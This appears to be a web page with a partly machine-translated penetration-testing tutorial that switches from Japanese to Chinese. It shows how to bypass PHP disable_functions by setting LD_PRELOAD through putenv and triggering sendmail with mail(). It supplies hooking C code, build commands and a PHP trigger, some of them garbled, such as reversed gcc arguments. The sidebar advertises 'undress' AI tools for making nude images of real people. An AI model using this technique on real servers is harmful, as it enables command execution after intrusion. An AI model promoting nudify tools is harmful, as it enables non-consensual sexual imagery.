環境変数 LD_PRELOAD を使用して php disable_function をバイパスし、システム コマンドを実行します
0x00 はじめに
ペネトレーションテストを行う際に、比較的セキュリティが優れているサーバーに遭遇した場合、さまざまなルートから PHP タイプの Web シェルを入手すると、実行できないという困惑に直面することがあります。このタイプのサーバーではコマンド実行機能に対する予防措置が講じられており、これによりその後の侵入アクティビティが停止されるためです。著者はここでバイパスのアイデアを共有しており、実際のテストで役立つことを願っています。
0x02 バイパスのアイデア
過酷な環境で PHP によって設定される disable_function は次のとおりです:
- dl
- exec
- system
- passthru
- popen
- proc_open pcntl_ exec
- shell_exec
多くの情報を検索した結果、この場合、/proc/self/mem 内の got を変更してライブラリ関数呼び出しをハイジャックし、PHP デシリアライゼーションのメモリ破損の脆弱性を悪用するなど、システム コマンドを実行する方法がいくつかあることを著者は発見しました。ただし、これらの方法は使用するのが難しく、まずメモリ オフセット アドレスとその他の知識ポイントを理解し、デバッグ用に同じプラットフォームを構築する必要があります。一般に、セキュリティ設定ではユーザーのファイル権限が厳密に制限され、open_basedir が設定されます。mem などのファイルを読み取る機会はなく、悪用することは困難です。
それでは、他に方法はありますか? putenv および mail 関数は、システムに bash の脆弱性がパッチされていない場合、インターネットで提供される POC (http://www.exploit-db.com/exploits/35146/) を使用することで簡単に回避できます。
この POC の一般的なアイデアは、putenv を使用してカスタム関数を含む環境変数を設定し、メール関数を通じてそれをトリガーすることです。メール関数がトリガーされる理由は、メール関数の実行中に、システムに bash 脆弱性がある場合、PHP がシステム コマンド実行関数を呼び出して実行するためです。悪質なコード。しかし、通常、このような脆弱性に対しては、セキュリティ意識の高いオペレーターがパッチを適用します。
それでは、PHP のメール関数が実行中にデフォルトでシステム プログラム /usr/sbin/sendmail を呼び出し、sendmail プログラムをハイジャックして、それをトリガーすることができれば、目的を達成できます。目標。では、Web シェル層でそれをハイジャックする方法はあるのでしょうか? 環境変数 LD_PRELOAD が簡単で実用的な方法を提供します。
0x03 LD_PRELOAD ハック
UNIX ダイナミック リンク ライブラリの世界では、LD_PRELOAD は、実行中のプログラムのリンクに影響を与える可能性がある興味深い環境変数です。これにより、プログラムの前に最初にロードされるダイナミック リンク ライブラリを定義できます。プログラムが実行されます。この知識についてさらに詳しく知りたい場合は、インターネットで関連記事を検索してください。ここではあまり説明しませんが、使用原理を理解するためにルーチンを見てください。
ルーチン: verifypasswd.c
#!c#include <stdio.h>#include <string.h>int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return;}printf("Invalid Password!/n");}
#!c#include <stdio.h>#include <string.h>int strcmp(const char *s1, const char *s2){ printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0;}
#!shell$ gcc -o verifypasswd.c verifypasswd $ gcc -shared verifypasswd -o hack.so
#!shell$ export LD_PRELOAD="./hack.so"
#!shell$ ./verifypasswd abcd $ Correct Password!
0x04 実践テスト
次に、sendmail 関数によってどのライブラリ関数が呼び出されるかを見てみましょう。 readelf -Ws /usr/sbin/sendmail コマンドを使用して、sendmail 関数が多くの標準ライブラリ関数を動的に呼び出すことがわかりました。実行プロセス中:
#!shell[[email protected]
_2.2.5 (2) ......
从中选取一个合适的库函数后我们就可以进行测试了:
- 编制我们自己的动态链接程序。
- 通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。
- 在webshell上用mail函数发送一封邮件来触发。
我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。
编写hack.c:
#!c#include <stdlib.h>#include <stdio.h>#include <string.h> void payload() { system("rm /tmp/check.txt");} int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:
#!shell$ gcc -c -fPIC hack.c -o hack $ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:
#!php<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]
","","","",""); ?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:
#!shell[[email protected]
bin]$ cat /tmp/check.txt cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
0x05 小结
以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











PHPには4つの主要なエラータイプがあります。1。notice:わずかなものは、未定義の変数へのアクセスなど、プログラムを中断しません。 2。警告:通知よりも深刻で、ファイルを含むなど、プログラムを終了しません。 3。ファタラー:最も深刻なのは、機能を呼び出すなど、プログラムを終了します。 4。ParseError:構文エラーは、エンドタグの追加を忘れるなど、プログラムの実行を防ぎます。

PHPとPythonにはそれぞれ独自の利点があり、プロジェクトの要件に従って選択します。 1.PHPは、特にWebサイトの迅速な開発とメンテナンスに適しています。 2。Pythonは、データサイエンス、機械学習、人工知能に適しており、簡潔な構文を備えており、初心者に適しています。

PHPでは、Password_hashとpassword_verify関数を使用して安全なパスワードハッシュを実装する必要があり、MD5またはSHA1を使用しないでください。 1)password_hashセキュリティを強化するために、塩値を含むハッシュを生成します。 2)password_verifyハッシュ値を比較して、パスワードを確認し、セキュリティを確保します。 3)MD5とSHA1は脆弱であり、塩の値が不足しており、最新のパスワードセキュリティには適していません。

PHPは、電子商取引、コンテンツ管理システム、API開発で広く使用されています。 1)eコマース:ショッピングカート機能と支払い処理に使用。 2)コンテンツ管理システム:動的コンテンツの生成とユーザー管理に使用されます。 3)API開発:RESTFUL API開発とAPIセキュリティに使用されます。パフォーマンスの最適化とベストプラクティスを通じて、PHPアプリケーションの効率と保守性が向上します。

HTTPリクエストメソッドには、それぞれリソースを取得、送信、更新、削除するために使用されるGET、POST、PUT、および削除が含まれます。 1. GETメソッドは、リソースを取得するために使用され、読み取り操作に適しています。 2. POSTメソッドはデータの送信に使用され、新しいリソースを作成するためによく使用されます。 3. PUTメソッドは、リソースの更新に使用され、完全な更新に適しています。 4.削除メソッドは、リソースの削除に使用され、削除操作に適しています。

PHPは、サーバー側で広く使用されているスクリプト言語で、特にWeb開発に適しています。 1.PHPは、HTMLを埋め込み、HTTP要求と応答を処理し、さまざまなデータベースをサポートできます。 2.PHPは、ダイナミックWebコンテンツ、プロセスフォームデータ、アクセスデータベースなどを生成するために使用され、強力なコミュニティサポートとオープンソースリソースを備えています。 3。PHPは解釈された言語であり、実行プロセスには語彙分析、文法分析、編集、実行が含まれます。 4.PHPは、ユーザー登録システムなどの高度なアプリケーションについてMySQLと組み合わせることができます。 5。PHPをデバッグするときは、error_reporting()やvar_dump()などの関数を使用できます。 6. PHPコードを最適化して、キャッシュメカニズムを使用し、データベースクエリを最適化し、組み込み関数を使用します。 7

PHPは、$ \ _ファイル変数を介してファイルのアップロードを処理します。セキュリティを確保するための方法には次のものが含まれます。1。アップロードエラー、2。ファイルの種類とサイズを確認する、3。ファイル上書きを防ぐ、4。ファイルを永続的なストレージの場所に移動します。

Phpoopでは、self ::は現在のクラスを指し、親::は親クラスを指し、静的::は後期静的結合に使用されます。 1.Self ::静的方法と一定の呼び出しに使用されますが、後期静的結合をサポートしていません。 2.Parent ::サブクラスには、親クラスのメソッドを呼び出すために使用され、プライベートメソッドにアクセスできません。 3.Static ::継承と多型に適した後期静的結合をサポートしますが、コードの読みやすさに影響を与える可能性があります。
